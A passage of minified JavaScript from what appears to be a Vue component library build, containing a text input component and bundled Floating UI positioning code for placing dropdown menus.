Be=_(ta,[["render",ua]]),ca=ee(Bo),pa=ee(pe),fa=t.defineComponent({name:"CdxTextInput",components:{CdxIcon:G},inheritAttrs:!1,props:{modelValue:{type:[String,Number],default:""},inputType:{type:String,default:"text",validator:ca},status:{type:String,default:"default",validator:pa},disabled:{type:Boolean,default:!1},startIcon:{type:[String,Object],default:void 0},endIcon:{type:[String,Object],default:void 0},clearable:{type:Boolean,default:!1}},emits:["update:modelValue","keydown","input","change","focus","blur","clear","invalid"],setup(e,{emit:n,attrs:o}){const l=o.id,{computedDisabled:s,computedStatus:d,computedInputId:i}=se(t.toRef(e,"disabled"),t.toRef(e,"status"),l),r=t.inject(Xe,void 0),a=oe(t.toRef(e,"modelValue"),n),u=t.computed(()=>e.clearable&&!!a.value&&!s.value),c=t.computed(()=>({"cdx-text-input--has-start-icon":!!e.startIcon,"cdx-text-input--has-end-icon":!!e.endIcon,"cdx-text-input--clearable":u.value,["cdx-text-input--status-".concat(d.value)]:!0})),{rootClasses:p,rootStyle:f,otherAttrs:m}=le(o,c),h=t.computed(()=>{const k=m.value,{id:$}=k;return de(k,["id"])}),v=t.computed(()=>({"cdx-text-input__input--has-value":!!a.value})),g=$=>{a.value="",n("clear",$)},C=$=>{($.key==="Home"||$.key==="End")&&!$.ctrlKey&&!$.metaKey||n("keydown",$)},B=$=>{n("input",$)},S=$=>{n("change",$)},E=$=>{n("focus",$)},V=$=>{n("blur",$)},D=t.ref(!0);return{computedInputId:i,descriptionId:r,wrappedModel:a,isClearable:u,rootClasses:p,rootStyle:f,otherAttrsMinusId:h,inputClasses:v,computedDisabled:s,onClear:g,onInput:B,onChange:S,onKeydown:C,onFocus:E,onBlur:V,onInvalid:($,b)=>{b&&$.preventDefault(),n("invalid",$),D.value=!0},shouldPreventDefault:D,cdxIconClear:ro}},methods:{focus(){this.$refs.input.focus()},blur(){this.$refs.input.blur()},checkValidity(){return this.$refs.input.checkValidity()},reportValidity(){return this.shouldPreventDefault=!1,this.$refs.input.reportValidity()},setCustomValidity(e){this.$refs.input.setCustomValidity(e)}}}),ma=["id","type","aria-describedby","disabled"];function ha(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-text-input",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.withDirectives(t.createElementVNode("input",t.mergeProps({id:e.computedInputId,ref:"input","onUpdate:modelValue":n[0]||(n[0]=r=>e.wrappedModel=r),class:["cdx-text-input__input",e.inputClasses]},e.otherAttrsMinusId,{type:e.inputType,"aria-describedby":e.descriptionId,disabled:e.computedDisabled,size:"1",onInput:n[1]||(n[1]=(...r)=>e.onInput&&e.onInput(...r)),onChange:n[2]||(n[2]=(...r)=>e.onChange&&e.onChange(...r)),onFocus:n[3]||(n[3]=(...r)=>e.onFocus&&e.onFocus(...r)),onBlur:n[4]||(n[4]=(...r)=>e.onBlur&&e.onBlur(...r)),onKeydown:n[5]||(n[5]=(...r)=>e.onKeydown&&e.onKeydown(...r)),onInvalid:n[6]||(n[6]=r=>e.onInvalid(r,e.shouldPreventDefault))}),null,16,ma),[[t.vModelDynamic,e.wrappedModel]]),e.startIcon?(t.openBlock(),t.createBlock(i,{key:0,icon:e.startIcon,class:"cdx-text-input__icon-vue cdx-text-input__start-icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0),e.endIcon?(t.openBlock(),t.createBlock(i,{key:1,icon:e.endIcon,class:"cdx-text-input__icon-vue cdx-text-input__end-icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0),e.isClearable?(t.openBlock(),t.createBlock(i,{key:2,icon:e.cdxIconClear,class:"cdx-text-input__icon-vue cdx-text-input__clear-icon",onMousedown:n[7]||(n[7]=t.withModifiers(()=>{},["prevent"])),onClick:e.onClear},null,8,["icon","onClick"])):t.createCommentVNode("v-if",!0)],6)}const tt=_(fa,[["render",ha]]),va=["top","right","bottom","left"],ye=Math.min,ie=Math.max,qe=Math.round,Ue=Math.floor,he=e=>({x:e,y:e}),ga={left:"right",right:"left",bottom:"top",top:"bottom"},ba={start:"end",end:"start"};function pt(e,n,o){return ie(e,ye(n,o))}function Se(e,n){return typeof e=="function"?e(n):e}function Ce(e){return e.split("-")[0]}function De(e){return e.split("-")[1]}function vn(e){return e==="x"?"y":"x"}function Ct(e){return e==="y"?"height":"width"}function ke(e){return["top","bottom"].includes(Ce(e))?"y":"x"}function wt(e){return vn(ke(e))}function ya(e,n,o){o===void 0&&(o=!1);const l=De(e),s=wt(e),d=Ct(s);let i=s==="x"?l===(o?"end":"start")?"right":"left":l==="start"?"bottom":"top";return n.reference[d]>n.floating[d]&&(i=Qe(i)),[i,Qe(i)]}function Ca(e){const n=Qe(e);return[ft(e),n,ft(n)]}function ft(e){return e.replace(/start|end/g,n=>ba[n])}function wa(e,n,o){const l=["left","right"],s=["right","left"],d=["top","bottom"],i=["bottom","top"];switch(e){case"top":case"bottom":return o?n?s:l:n?l:s;case"left":case"right":return n?d:i;default:return[]}}function ka(e,n,o,l){const s=De(e);let d=wa(Ce(e),o==="start",l);return s&&(d=d.map(i=>i+"-"+s),n&&(d=d.concat(d.map(ft)))),d}function Qe(e){return e.replace(/left|right|bottom|top/g,n=>ga[n])}function $a(e){return Y({top:0,right:0,bottom:0,left:0},e)}function gn(e){return typeof e!="number"?$a(e):{top:e,right:e,bottom:e,left:e}}function Ge(e){const{x:n,y:o,width:l,height:s}=e;return{width:l,height:s,top:o,left:n,right:n+l,bottom:o+s,x:n,y:o}}function Mt(e,n,o){let{reference:l,floating:s}=e;const d=ke(n),i=wt(n),r=Ct(i),a=Ce(n),u=d==="y",c=l.x+l.width/2-s.width/2,p=l.y+l.height/2-s.height/2,f=l[r]/2-s[r]/2;let m;switch(a){case"top":m={x:c,y:l.y-s.height};break;case"bottom":m={x:c,y:l.y+l.height};break;case"right":m={x:l.x+l.width,y:p};break;case"left":m={x:l.x-s.width,y:p};break;default:m={x:l.x,y:l.y}}switch(De(n)){case"start":m[i]-=f*(o&&u?-1:1);break;case"end":m[i]+=f*(o&&u?-1:1);break}return m}const Ba=(e,n,o)=>J(exports,null,function*(){const{placement:l="bottom",strategy:s="absolute",middleware:d=[],platform:i}=o,r=d.filter(Boolean),a=yield i.isRTL==null?void 0:i.isRTL(n);let u=yield i.getElementRects({reference:e,floating:n,strategy:s}),{x:c,y:p}=Mt(u,l,a),f=l,m={},h=0;for(let v=0;v<r.length;v++){const{name:g,fn:C}=r[v],{x:B,y:S,data:E,reset:V}=yield C({x:c,y:p,initialPlacement:l,placement:f,strategy:s,middlewareData:m,rects:u,platform:i,elements:{reference:e,floating:n}});c=B!=null?B:c,p=S!=null?S:p,m=ae(Y({},m),{[g]:Y(Y({},m[g]),E)}),V&&h<=50&&(h++,typeof V=="object"&&(V.placement&&(f=V.placement),V.rects&&(u=V.rects===!0?yield i.getElementRects({reference:e,floating:n,strategy:s}):V.rects),{x:c,y:p}=Mt(u,f,a)),v=-1)}return{x:c,y:p,placement:f,strategy:s,middlewareData:m}});function Re(e,n){return J(this,null,function*(){var o;n===void 0&&(n={});const{x:l,y:s,platform:d,rects:i,elements:r,strategy:a}=e,{boundary:u="clippingAncestors",rootBoundary:c="viewport",elementContext:p="floating",altBoundary:f=!1,padding:m=0}=Se(n,e),h=gn(m),g=r[f?p==="floating"?"reference":"floating":p],C=Ge(yield d.getClippingRect({element:(o=yield d.isElement==null?void 0:d.isElement(g))==null||o?g:g.contextElement||(yield d.getDocumentElement==null?void 0:d.getDocumentElement(r.floating)),boundary:u,rootBoundary:c,strategy:a})),B=p==="floating"?{x:l,y:s,width:i.floating.width,height:i.floating.height}:i.reference,S=yield d.getOffsetParent==null?void 0:d.getOffsetParent(r.floating),E=(yield d.isElement==null?void 0:d.isElement(S))?(yield d.getScale==null?void 0:d.getScale(S))||{x:1,y:1}:{x:1,y:1},V=Ge(d.convertOffsetParentRelativeRectToViewportRelativeRect?yield d.convertOffsetParentRelativeRectToViewportRelativeRect({elements:r,rect:B,offsetParent:S,strategy:a}):B);return{top:(C.top-V.top+h.top)/E.y,bottom:(V.bottom-C.bottom+h.bottom)/E.y,left:(C.left-V.left+h.left)/E.x,right:(V.right-C.right+h.right)/E.x}})}const Sa=e=>({name:"arrow",options:e,fn(o){return J(this,null,function*(){const{x:l,y:s,placement:d,rects:i,platform:r,elements:a,middlewareData:u}=o,{element:c,padding:p=0}=Se(e,o)||{};if(c==null)return{};const f=gn(p),m={x:l,y:s},h=wt(d),v=Ct(h),g=yield r.getDimensions(c),C=h==="y",B=C?"top":"left",S=C?"bottom":"right",E=C?"clientHeight":"clientWidth",V=i.reference[v]+i.reference[h]-m[h]-i.floating[v],D=m[h]-i.reference[h],A=yield r.getOffsetParent==null?void 0:r.getOffsetParent(c);let $=A?A[E]:0;(!$||!(yield r.isElement==null?void 0:r.isElement(A)))&&($=a.floating[E]||i.floating[v]);const b=V/2-D/2,k=$/2-g[v]/2-1,I=ye(f[B],k),x=ye(f[S],k),R=I,K=$-g[v]-x,z=$/2-g[v]/2+b,O=pt(R,z,K),U=!u.arrow&&De(d)!=null&&z!==O&&i.reference[v]/2-(z<R?I:x)-g[v]/2<0,L=U?z<R?z-R:z-K:0;return{[h]:m[h]+L,data:Y({[h]:O,centerOffset:z-O-L},U&&{alignmentOffset:L}),reset:U}})}}),Ia=function(e){return e===void 0&&(e={}),{name:"flip",options:e,fn(o){return J(this,null,function*(){var l,s;const{placement:d,middlewareData:i,rects:r,initialPlacement:a,platform:u,elements:c}=o,z=Se(e,o),{mainAxis:p=!0,crossAxis:f=!0,fallbackPlacements:m,fallbackStrategy:h="bestFit",fallbackAxisSideDirection:v="none",flipAlignment:g=!0}=z,C=de(z,["mainAxis","crossAxis","fallbackPlacements","fallbackStrategy","fallbackAxisSideDirection","flipAlignment"]);if((l=i.arrow)!=null&&l.alignmentOffset)return{};const B=Ce(d),S=ke(a),E=Ce(a)===a,V=yield u.isRTL==null?void 0:u.isRTL(c.floating),D=m||(E||!g?[Qe(a)]:Ca(a)),A=v!=="none";!m&&A&&D.push(...ka(a,g,v,V));const $=[a,...D],b=yield Re(o,C),k=[];let I=((s=i.flip)==null?void 0:s.overflows)||[];if(p&&k.push(b[B]),f){const O=ya(d,r,V);k.push(b[O[0]],b[O[1]])}if(I=[...I,{placement:d,overflows:k}],!k.every(O=>O<=0)){var x,R;const O=(((x=i.flip)==null?void 0:x.index)||0)+1,U=$[O];if(U)return{data:{index:O,overflows:I},reset:{placement:U}};let L=(R=I.filter(H=>H.overflows[0]<=0).sort((H,q)=>H.overflows[1]-q.overflows[1])[0])==null?void 0:R.placement;if(!L)switch(h){case"bestFit":{var K;const H=(K=I.filter(q=>{if(A){const y=ke(q.placement);return y===S||y==="y"}return!0}).map(q=>[q.placement,q.overflows.filter(y=>y>0).reduce((y,T)=>y+T,0)]).sort((q,y)=>q[1]-y[1])[0])==null?void 0:K[0];H&&(L=H);break}case"initialPlacement":L=a;break}if(d!==L)return{reset:{placement:L}}}return{}})}}};function Lt(e,n){return{top:e.top-n.height,right:e.right-n.width,bottom:e.bottom-n.height,left:e.left-n.width}}function Tt(e){return va.some(n=>e[n]>=0)}const xa=function(e){return e===void 0&&(e={}),{name:"hide",options:e,fn(o){return J(this,null,function*(){const{rects:l}=o,i=Se(e,o),{strategy:s="referenceHidden"}=i,d=de(i,["strategy"]);switch(s){case"referenceHidden":{const r=yield Re(o,ae(Y({},d),{elementContext:"reference"})),a=Lt(r,l.reference);return{data:{referenceHiddenOffsets:a,referenceHidden:Tt(a)}}}case"escaped":{const r=yield Re(o,ae(Y({},d),{altBoundary:!0})),a=Lt(r,l.floating);return{data:{escapedOffsets:a,escaped:Tt(a)}}}default:return{}}})}}};function Va(e,n){return J(this,null,function*(){const{placement:o,platform:l,elements:s}=e,d=yield l.isRTL==null?void 0:l.isRTL(s.floating),i=Ce(o),r=De(o),a=ke(o)==="y",u=["left","top"].includes(i)?-1:1,c=d&&a?-1:1,p=Se(n,e);let{mainAxis:f,crossAxis:m,alignmentAxis:h}=typeof p=="number"?{mainAxis:p,crossAxis:0,alignmentAxis:null}:{mainAxis:p.mainAxis||0,crossAxis:p.crossAxis||0,alignmentAxis:p.alignmentAxis};return r&&typeof h=="number"&&(m=r==="end"?h*-1:h),a?{x:m*c,y:f*u}:{x:f*u,y:m*c}})}const Ea=function(e){return e===void 0&&(e=0),{name:"offset",options:e,fn(o){return J(this,null,function*(){var l,s;const{x:d,y:i,placement:r,middlewareData:a}=o,u=yield Va(o,e);return r===((l=a.offset)==null?void 0:l.placement)&&(s=a.arrow)!=null&&s.alignmentOffset?{}:{x:d+u.x,y:i+u.y,data:ae(Y({},u),{placement:r})}})}}},Na=function(e){return e===void 0&&(e={}),{name:"shift",options:e,fn(o){return J(this,null,function*(){const{x:l,y:s,placement:d}=o,C=Se(e,o),{mainAxis:i=!0,crossAxis:r=!1,limiter:a={fn:B=>{let{x:S,y:E}=B;return{x:S,y:E}}}}=C,u=de(C,["mainAxis","crossAxis","limiter"]),c={x:l,y:s},p=yield Re(o,u),f=ke(Ce(d)),m=vn(f);let h=c[m],v=c[f];if(i){const B=m==="y"?"top":"left",S=m==="y"?"bottom":"right",E=h+p[B],V=h-p[S];h=pt(E,h,V)}if(r){const B=f==="y"?"top":"left",S=f==="y"?"bottom":"right",E=v+p[B],V=v-p[S];v=pt(E,v,V)}const g=a.fn(ae(Y({},o),{[m]:h,[f]:v}));return ae(Y({},g),{data:{x:g.x-l,y:g.y-s,enabled:{[m]:i,[f]:r}}})})}}},Aa=function(e){return e===void 0&&(e={}),{name:"size",options:e,fn(o){return J(this,null,function*(){var l,s;const{placement:d,rects:i,platform:r,elements:a}=o,I=Se(e,o),{apply:u=()=>{}}=I,c=de(I,["apply"]),p=yield Re(o,c),f=Ce(d),m=De(d),h=ke(d)==="y",{width:v,height:g}=i.floating;let C,B;f==="top"||f==="bottom"?(C=f,B=m===((yield r.isRTL==null?void 0:r.isRTL(a.floating))?"start":"end")?"left":"right"):(B=f,C=m==="end"?"top":"bottom");const S=g-p.top-p.bottom,E=v-p.left-p.right,V=ye(g-p[C],S),D=ye(v-p[B],E),A=!o.middlewareData.shift;let $=V,b=D;if((l=o.middlewareData.shift)!=null&&l.enabled.x&&(b=E),(s=o.middlewareData.shift)!=null&&s.enabled.y&&($=S),A&&!m){const x=ie(p.left,0),R=ie(p.right,0),K=ie(p.top,0),z=ie(p.bottom,0);h?b=v-2*(x!==0||R!==0?x+R:ie(p.left,p.right)):$=g-2*(K!==0||z!==0?K+z:ie(p.top,p.bottom))}yield u(ae(Y({},o),{availableWidth:b,availableHeight:$}));const k=yield r.getDimensions(a.floating);return v!==k.width||g!==k.height?{reset:{rects:!0}}:{}})}}};function nt(){return typeof window!="undefined"}function Ie(e){return kt(e)?(e.nodeName||"").toLowerCase():"#document"}function re(e){var n;return(e==null||(n=e.ownerDocument)==null?void 0:n.defaultView)||window}function ge(e){var n;return(n=(kt(e)?e.ownerDocument:e.document)||window.document)==null?void 0:n.documentElement}function kt(e){return nt()?e instanceof Node||e instanceof re(e).Node:!1}function ue(e){return nt()?e instanceof Element||e instanceof re(e).Element:!1}function ve(e){return nt()?e instanceof HTMLElement||e instanceof re(e).HTMLElement:!1}function Rt(e){return!nt()||typeof ShadowRoot=="undefined"?!1:e instanceof ShadowRoot||e instanceof re(e).ShadowRoot}function ze(e){const{overflow:n,overflowX:o,overflowY:l,display:s}=ce(e);return/auto|scroll|overlay|hidden|clip/.test(n+l+o)&&!["inline","contents"].includes(s)}function Da(e){return["table","td","th"].includes(Ie(e))}function ot(e){return[":popover-open",":modal"].some(n=>{try{return e.matches(n)}catch(o){return!1}})}function $t(e){const n=Bt(),o=ue(e)?ce(e):e;return o.transform!=="none"||o.perspective!=="none"||(o.containerType?o.containerType!=="normal":!1)||!n&&(o.backdropFilter?o.backdropFilter!=="none":!1)||!n&&(o.filter?o.filter!=="none":!1)||["transform","perspective","filter"].some(l=>(o.willChange||"").includes(l))||["paint","layout","strict","content"].some(l=>(o.contain||"").includes(l))}function Ma(e){let n=we(e);for(;ve(n)&&!Ne(n);){if($t(n))return n;if(ot(n))return null;n=we(n)}return null}function Bt(){return typeof CSS=="undefined"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}function Ne(e){return["html","body","#document"].includes(Ie(e))}function ce(e){return re(e).getComputedStyle(e)}function lt(e){return ue(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function we(e){if(Ie(e)==="html")return e;const n=e.assignedSlot||e.parentNode||Rt(e)&&e.host||ge(e);return Rt(n)?n.host:n}function bn(e){const n=we(e);return Ne(n)?e.ownerDocument?e.ownerDocument.body:e.body:ve(n)&&ze(n)?n:bn(n)}function Oe(e,n,o){var l;n===void 0&&(n=[]),o===void 0&&(o=!0);const s=bn(e),d=s===((l=e.ownerDocument)==null?void 0:l.body),i=re(s);if(d){const r=mt(i);return n.concat(i,i.visualViewport||[],ze(s)?s:[],r&&o?Oe(r):[])}return n.concat(s,Oe(s,[],o))}function mt(e){return e.parent&&Object.getPrototypeOf(e.parent)?e.frameElement:null}function yn(e){const n=ce(e);let o=parseFloat(n.width)||0,l=parseFloat(n.height)||0;const s=ve(e),d=s?e.offsetWidth:o,i=s?e.offsetHeight:l,r=qe(o)!==d||qe(l)!==i;return r&&(o=d,l=i),{width:o,height:l,$:r}}function St(e){return ue(e)?e:e.contextElement}function Ee(e){const n=St(e);if(!ve(n))return he(1);const o=n.getBoundingClientRect(),{width:l,height:s,$:d}=yn(n);let i=(d?qe(o.width):o.width)/l,r=(d?qe(o.height):o.height)/s;return(!i||!Number.isFinite(i))&&(i=1),(!r||!Number.isFinite(r))&&(r=1),{x:i,y:r}}const La=he(0);function Cn(e){const n=re(e);return!Bt()||!n.visualViewport?La:{x:n.visualViewport.offsetLeft,y:n.visualViewport.offsetTop}}function Ta(e,n,o){return n===void 0&&(n=!1),!o||n&&o!==re(e)?!1:n}function $e(e,n,o,l){n===void 0&&(n=!1),o===void 0&&(o=!1);const s=e.getBoundingClientRect(),d=St(e);let i=he(1);n&&(l?ue(l)&&(i=Ee(l)):i=Ee(e));const r=Ta(d,o,l)?Cn(d):he(0);let a=(s.left+r.x)/i.x,u=(s.top+r.y)/i.y,c=s.width/i.x,p=s.height/i.y;if(d){const f=re(d),m=l&&ue(l)?re(l):l;let h=f,v=mt(h);for(;v&&l&&m!==h;){const g=Ee(v),C=v.getBoundingClientRect(),B=ce(v),S=C.left+(v.clientLeft+parseFloat(B.paddingLeft))*g.x,E=C.top+(v.clientTop+parseFloat(B.paddingTop))*g.y;a*=g.x,u*=g.y,c*=g.x,p*=g.y,a+=S,u+=E,h=re(v),v=mt(h)}}return Ge({width:c,height:p,x:a,y:u})}function It(e,n){const o=lt(e).scrollLeft;return n?n.left+o:$e(ge(e)).left+o}function wn(e,n,o){o===void 0&&(o=!1);const l=e.getBoundingClientRect(),s=l.left+n.scrollLeft-(o?0:It(e,l)),d=l.top+n.scrollTop;return{x:s,y:d}}function Ra(e){let{elements:n,rect:o,offsetParent:l,strategy:s}=e;const d=s==="fixed",i=ge(l),r=n?ot(n.floating):!1;if(l===i||r&&d)return o;let a={scrollLeft:0,scrollTop:0},u=he(1);const c=he(0),p=ve(l);if((p||!p&&!d)&&((Ie(l)!=="body"||ze(i))&&(a=lt(l)),ve(l))){const m=$e(l);u=Ee(l),c.x=m.x+l.clientLeft,c.y=m.y+l.clientTop}const f=i&&!p&&!d?wn(i,a,!0):he(0);return{width:o.width*u.x,height:o.height*u.y,x:o.x*u.x-a.scrollLeft*u.x+c.x+f.x,y:o.y*u.y-a.scrollTop*u.y+c.y+f.y}}function Oa(e){return Array.from(e.getClientRects())}function Fa(e){const n=ge(e),o=lt(e),l=e.ownerDocument.body,s=ie(n.scrollWidth,n.clientWidth,l.scrollWidth,l.clientWidth),d=ie(n.scrollHeight,n.clientHeight,l.scrollHeight,l.clientHeight);let i=-o.scrollLeft+It(e);const r=-o.scrollTop;return ce(l).direction==="rtl"&&(i+=ie(n.clientWidth,l.clientWidth)-s),{width:s,height:d,x:i,y:r}}function Pa(e,n){const o=re(e),l=ge(e),s=o.visualViewport;let d=l.clientWidth,i=l.clientHeight,r=0,a=0;if(s){d=s.width,i=s.height;const u=Bt();(!u||u&&n==="fixed")&&(r=s.offsetLeft,a=s.offsetTop)}return{width:d,height:i,x:r,y:a}}function _a(e,n){const o=$e(e,!0,n==="fixed"),l=o.top+e.clientTop,s=o.left+e.clientLeft,d=ve(e)?Ee(e):he(1),i=e.clientWidth*d.x,r=e.clientHeight*d.y,a=s*d.x,u=l*d.y;return{width:i,height:r,x:a,y:u}}function Ot(e,n,o){let l;if(n==="viewport")l=Pa(e,o);else if(n==="document")l=Fa(ge(e));else if(ue(n))l=_a(n,o);else{const s=Cn(e);l={x:n.x-s.x,y:n.y-s.y,width:n.width,height:n.height}}return Ge(l)}function kn(e,n){const o=we(e);return o===n||!ue(o)||Ne(o)?!1:ce(o).position==="fixed"||kn(o,n)}function za(e,n){const o=n.get(e);if(o)return o;let l=Oe(e,[],!1).filter(r=>ue(r)&&Ie(r)!=="body"),s=null;const d=ce(e).position==="fixed";let i=d?we(e):e;for(;ue(i)&&!Ne(i);){const r=ce(i),a=$t(i);!a&&r.position==="fixed"&&(s=null),(d?!a&&!s:!a&&r.position==="static"&&!!s&&["absolute","fixed"].includes(s.position)||ze(i)&&!a&&kn(e,i))?l=l.filter(c=>c!==i):s=r,i=we(i)}return n.set(e,l),l}function Ka(e){let{element:n,boundary:o,rootBoundary:l,strategy:s}=e;const i=[...o==="clippingAncestors"?ot(n)?[]:za(n,this._c):[].concat(o),l],r=i[0],a=i.reduce((u,c)=>{const p=Ot(n,c,s);return u.top=ie(p.top,u.top),u.right=ye(p.right,u.right),u.bottom=ye(p.bottom,u.bottom),u.left=ie(p.left,u.left),u},Ot(n,r,s));return{width:a.right-a.left,height:a.bottom-a.top,x:a.left,y:a.top}}function Ha(e){const{width:n,height:o}=yn(e);return{width:n,height:o}}function Ua(e,n,o){const l=ve(n),s=ge(n),d=o==="fixed",i=$e(e,!0,d,n);let r={scrollLeft:0,scrollTop:0};const a=he(0);if(l||!l&&!d)if((Ie(n)!=="body"||ze(s))&&(r=lt(n)),l){const f=$e(n,!0,d,n);a.x=f.x+n.clientLeft,a.y=f.y+n.clientTop}else s&&(a.x=It(s));const u=s&&!l&&!d?wn(s,r):he(0),c=i.left+r.scrollLeft-a.x-u.x,p=i.top+r.scrollTop-a.y-u.y;return{x:c,y:p,width:i.width,height:i.height}}function ut(e){return ce(e).position==="static"}function Ft(e,n){if(!ve(e)||ce(e).position==="fixed")return null;if(n)return n(e);let o=e.offsetParent;return ge(e)===o&&(o=o.ownerDocument.body),o}function $n(e,n){const o=re(e);if(ot(e))return o;if(!ve(e)){let s=we(e);for(;s&&!Ne(s);){if(ue(s)&&!ut(s))return s;s=we(s)}return o}let l=Ft(e,n);for(;l&&Da(l)&&ut(l);)l=Ft(l,n);return l&&Ne(l)&&ut(l)&&!$t(l)?o:l||Ma(e)||o}const ja=function(e){return J(this,null,function*(){const n=this.getOffsetParent||$n,o=this.getDimensions,l=yield o(e.floating);return{reference:Ua(e.reference,yield n(e.floating),e.strategy),floating:{x:0,y:0,width:l.width,height:l.height}}})};function Wa(e){return ce(e).direction==="rtl"}const qa={convertOffsetParentRelativeRectToViewportRelativeRect:Ra,getDocumentElement:ge,getClippingRect:Ka,getOffsetParent:$n,getElementRects:ja,getClientRects:Oa,getDimensions:Ha,getScale:Ee,isElement:ue,isRTL:Wa};function Qa(e,n){let o=null,l;const s=ge(e);function d(){var r;clearTimeout(l),(r=o)==null||r.disconnect(),o=null}function i(r,a){r===void 0&&(r=!1),a===void 0&&(a=1),d();const{left:u,top:c,width:p,height:f}=e.getBoundingClientRect();if(r||n(),!p||!f)return;const m=Ue(c),h=Ue(s.clientWidth-(u+p)),v=Ue(s.clientHeight-(c+f)),g=Ue(u),B={rootMargin:-m+"px "+-h+"px "+-v+"px "+-g+"px",threshold:ie(0,ye(1,a))||1};let S=!0;function E(V){const D=V[0].intersectionRatio;if(D!==a){if(!S)return i();D?i(!1,D):l=setTimeout(()=>{i(!1,1e-7)},1e3)}S=!1}try{o=new IntersectionObserver(E,ae(Y({},B),{root:s.ownerDocument}))}catch(V){o=new IntersectionObserver(E,B)}o.observe(e)}return i(!0),d}function xt(e,n,o,l){l===void 0&&(l={});const{ancestorScroll:s=!0,ancestorResize:d=!0,elementResize:i=typeof ResizeObserver=="function",layoutShift:r=typeof IntersectionObserver=="function",animationFrame:a=!1}=l,u=St(e),c=s||d?[...u?Oe(u):[],...Oe(n)]:[];c.forEach(C=>{s&&C.addEventListener("scroll",o,{passive:!0}),d&&C.addEventListener("resize",o)});const p=u&&r?Qa(u,o):null;let f=-1,m=null;i&&(m=new ResizeObserver(C=>{let[B]=C;B&&B.target===u&&m&&(m.unobserve(n),cancelAnimationFrame(f),f=requestAnimationFrame(()=>{var S;(S=m)==null||S.observe(n)})),o()}),u&&!a&&m.observe(u),m.observe(n));let h,v=a?$e(e):null;a&&g();function g(){const C=$e(e);v&&(C.x!==v.x||C.y!==v.y||C.width!==v.width||C.height!==v.height)&&o(),v=C,h=requestAnimationFrame(g)}return o(),()=>{var C;c.forEach(B=>{s&&B.removeEventListener("scroll",o),d&&B.removeEventListener("resize",o)}),p==null||p(),(C=m)==null||C.disconnect(),m=null,a&&cancelAnimationFrame(h)}}const Vt=Ea,Ga=Na,Et=Ia,Bn=Aa,ht=xa,Ya=Sa,Sn=(e,n,o)=>{const l=new Map,s=Y({platform:qa},o),d=ae(Y({},s.platform),{_c:l});return Ba(e,n,ae(Y({},s),{platform:d}))};function Xa(e){return e!=null&&typeof e=="object"&&"$el"in e}function vt(e){if(Xa(e)){const n=e.$el;return kt(n)&&Ie(n)==="#comment"?null:n}return e}function Za(e){return{name:"arrow",options:e,fn(n){const o=vt(t.unref(e.element));return o==null?{}:Ya({element:o,padding:e.padding}).fn(n)}}}function In(e){return typeof window=="undefined"?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function Pt(e,n){const o=In(e);return Math.round(n*o)/o}function xn(e,n,o){o===void 0&&(o={});const l=o.whileElementsMounted,s=t.computed(()=>{var A;return(A=t.unref(o.open))!=null?A:!0}),d=t.computed(()=>t.unref(o.middleware)),i=t.computed(()=>{var A;return(A=t.unref(o.placement))!=null?A:"bottom"}),r=t.computed(()=>{var A;return(A=t.unref(o.strategy))!=null?A:"absolute"}),a=t.computed(()=>{var A;return(A=t.unref(o.transform))!=null?A:!0}),u=t.computed(()=>vt(e.value)),c=t.computed(()=>vt(n.value)),p=t.ref(0),f=t.ref(0),m=t.ref(r.value),h=t.ref(i.value),v=t.shallowRef({}),g=t.ref(!1),C=t.computed(()=>{const A={position:m.value,left:"0",top:"0"};if(!c.value)return A;const $=Pt(c.value,p.value),b=Pt(c.value,f.value);return a.value?Y(ae(Y({},A),{transform:"translate("+$+"px, "+b+"px)"}),In(c.value)>=1.5&&{willChange:"transform"}):{position:m.value,left:$+"px",top:b+"px"}});let B;function S(){u.value==null||c.value==null||Sn(u.value,c.value,{middleware:d.value,placement:i.value,strategy:r.value}).then(A=>{p.value=A.x,f.value=A.y,m.value=A.strategy,h.value=A.placement,v.value=A.middlewareData,g.value=!0})}function E(){typeof B=="function"&&(B(),B=void 0)}function V(){if(E(),l===void 0){S();return}if(u.value!=null&&c.value!=null){B=l(u.value,c.value,S);return}}function D(){s.value||(g.value=!1)}return t.watch([d,i,r],S,{flush:"sync"}),t.watch([u,c],V,{flush:"sync"}),t.watch(s,D,{flush:"sync"}),t.getCurrentScope()&&t.onScopeDispose(E),{x:t.shallowReadonly(p),y:t.shallowReadonly(f),strategy:t.shallowReadonly(m),placement:t.shallowReadonly(h),middlewareData:t.shallowReadonly(v),isPositioned:t.shallowReadonly(g),floatingStyles:C,update:S}}function Vn(e){return e&&"$el"in e?e.$el:e}const _t=16,Ja=128;function Me(e,n,o){var p;const l=()=>{var f;return(f=n.value)==null?void 0:f.isExpanded()},s=[Vt(o==null?void 0:o.offset),Bn({padding:_t,apply({rects:f,elements:m,availableHeight:h,availableWidth:v}){Object.assign(m.floating.style,{width:"".concat(o!=null&&o.useAvailableWidth?v:f.reference.width,"px"),maxHeight:"".concat(Math.max(Ja,h),"px")})}}),Et({padding:_t-1}),ht({strategy:"escaped"}),ht()],{floatingStyles:d,placement:i,middlewareData:r,update:a}=xn(e,n,{middleware:s,placement:(p=o==null?void 0:o.placement)!=null?p:"bottom"}),u=t.computed(()=>{var m,h;return!l()||!!((m=r.value.hide)!=null&&m.escaped)||((h=r.value.hide)==null?void 0:h.referenceHidden)?"hidden":"visible"});t.watch([d,u,i],([f,m,h])=>{var v,g,C,B,S;Object.assign((g=(v=n.value)==null?void 0:v.$el.style)!=null?g:{},{visibility:m,position:f.position,top:"".concat(f.top,"px"),right:"unset",left:"".concat(f.left,"px"),transform:(C=f.transform)!=null?C:"none",borderTopLeftRadius:h==="bottom"&&m==="visible"?"0":"",borderTopRightRadius:h==="bottom"&&m==="visible"?"0":"",borderBottomLeftRadius:h==="top"&&m==="visible"?"0":"",borderBottomRightRadius:h==="top"&&m==="visible"?"0":""}),Object.assign((S=(B=Vn(e.value))==null?void 0:B.style)!=null?S:{},{borderTopLeftRadius:h==="top"&&m==="visible"?"0":"",borderTopRightRadius:h==="top"&&m==="visible"?"0":"",borderBottomLeftRadius:h==="bottom"&&m==="visible"?"0":"",borderBottomRightRadius:h==="bottom"&&m==="visible"?"0":""})});let 